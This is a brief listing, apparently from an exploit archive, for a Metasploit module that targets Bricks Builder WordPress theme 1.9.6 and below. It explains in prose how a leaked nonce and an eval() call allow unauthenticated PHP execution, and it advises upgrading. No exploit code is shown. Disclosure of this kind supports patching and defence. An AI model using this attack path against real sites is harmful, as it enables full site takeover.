WordPress Bricks Builder Theme 1.9.6 Remote Code Execution

WordPress Bricks Builder Theme 1.9.6 Remote Code Execution
Posted Mar 27, 2024
Authored by Valentin Lobstein, Calvin Alkan | Site metasploit.com

This Metasploit module exploits an unauthenticated remote code execution vulnerability in the Bricks Builder Theme versions 1.9.6 and below for WordPress. The vulnerability allows attackers to execute arbitrary PHP code by leveraging a nonce leakage to bypass authentication and exploit the eval() function usage within the theme. Successful exploitation allows for full control of the affected WordPress site. It is recommended to upgrade to version 1.9.6.1 or higher.
